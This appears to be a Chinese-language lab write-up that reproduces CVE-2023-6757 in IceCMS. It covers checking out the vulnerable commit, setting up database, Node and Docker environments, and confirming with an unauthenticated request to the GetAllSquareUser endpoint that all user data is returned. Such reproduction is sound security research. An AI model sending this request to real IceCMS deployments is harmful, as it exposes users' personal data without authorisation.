找到 CVE-2023-6757 發布日期 2023 年 12 月 13 日
再去找 commit 早於這個時間的版本:68f3ed1
切到這個版本驗證了確實存在未授權漏洞
環境配置#
資料庫
create databse icecmspro;
use icecmspro;
source icecms5.6.sql
前端 IceWk-vues
npm install
npm run dev
後端
application.yml 配置數據連接
pom.xml 下載依賴
未授權漏洞驗證#
直接訪問,不需要帶 Authorization 頭
GET http://localhost:8181/square/GetAllSquareUser
返回了所有用戶數據,應該是管理員權限才能看到的
Docker 環境搭建#
最新版提供了 Docker 搭建的文件 IceCMS-Docker
用漏洞版本的 8.0.sql 文件替換 IceCMS-Docker/icecms-sql/IceCMS.sql
其中,該版本.sql 文件沒有 create database 和 use database 的語句,在其基礎上加上以下內容
CREATE DATABASE If Not Exists icecms Character Set utf8mb4;
use icecms;
IceCMS-Docker/icecms-sql/setup.sh 有個 Linux 換行不識別問題,如下處理
sed -i 's/\r$//' setup.sh
IceCMS-Docker/icecms-api/ 下沒有 main.jar 文件,需要我們編譯後端並放到該路徑,編譯有漏洞的版本即可
docker-compose.yml 有兩個問題:
1.docker-compose.yml 沒有通過 docker network 連接
2.icecms-sql 端口映射隨機,改成固定端口 33060
修改後的 docker-compose.yml 如下
version: '3.9'
services:
# 數據庫
icecms-sql:
build:
context: ./icecms-sql
container_name: icecms-sql
image: icecms-sql
restart: always
ports:
- "33060:3306"
networks:
- icecms-network
# 後台服務
icecms-api:
build:
context: ./icecms-api
container_name: icecms-api
image: icecms-api
restart: always
ports:
- "8181:8181"
networks:
- icecms-network
# 前端UI
icecms-vue:
build:
context: ./icecms-vue
container_name: icecms-vue
image: icecms-vue
restart: always
ports:
- "3000:80"
networks:
- icecms-network
networks:
icecms-network:
driver: bridge
修改之後在 main.jar 打包前,改一下 application.yml 的數據庫配置:
spring:
datasource:
url: jdbc:mysql://icecms-sql:3306/icecms?useUnicode=true&useJDBCCompliantTimezoneShift=true&serverTimezone=UTC
username: root
password: 123456789
driver-class-name: com.mysql.cj.jdbc.Driver
進入 IceCMS-Docker
docker-compose up --build
Docker 環境下漏洞驗證#
curl http://127.0.0.1:8181/square/GetAllSquareUser
參考資料: